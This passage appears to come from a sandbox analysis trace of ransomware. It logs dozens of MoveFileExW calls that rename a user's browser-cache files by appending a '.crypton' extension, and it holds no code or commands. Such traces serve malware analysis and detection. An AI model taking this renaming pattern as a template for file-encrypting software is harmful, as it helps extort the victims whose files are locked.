HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png.crypton"), dwFlags=0x2) returned 1 [0200.218] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.222] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.248] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.262] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.269] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.274] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.281] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.285] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.290] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.294] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.298] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.302] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.312] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.319] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.327] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.334] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.341] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.345] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.350] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.354] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png.crypton"), dwFlags=0x2) returned 1 [0200.357] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png.crypton"), dwFlags=0x2) returned 1 [0200.366] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.374] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg.crypton"), dwFlags=0x2) returned 1 [0200.399] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-components[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-components[1].css.crypton"), dwFlags=0x2) returned 1 [0200.410] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-util[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-util[1].css.crypton"), dwFlags=0x2) returned 1 [0200.492] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt.crypton"), dwFlags=0x2) returned 1 [0200.585] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome.min[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome.min[1].css.crypton"), dwFlags=0x2) returned 1 [0200.590] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif.crypton"), dwFlags=0x2) returned 1 [0200.594] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif.crypton"), dwFlags=0x2) returned 1 [0200.599] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js.crypton"), dwFlags=0x2) returned 1 [0200.612] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.636] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js.crypton"), dwFlags=0x2) returned 1 [0200.649] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js.crypton"), dwFlags=0x2) returned 1 [0200.653] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js.crypton"), dwFlags=0x2) returned 1 [0200.670] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js 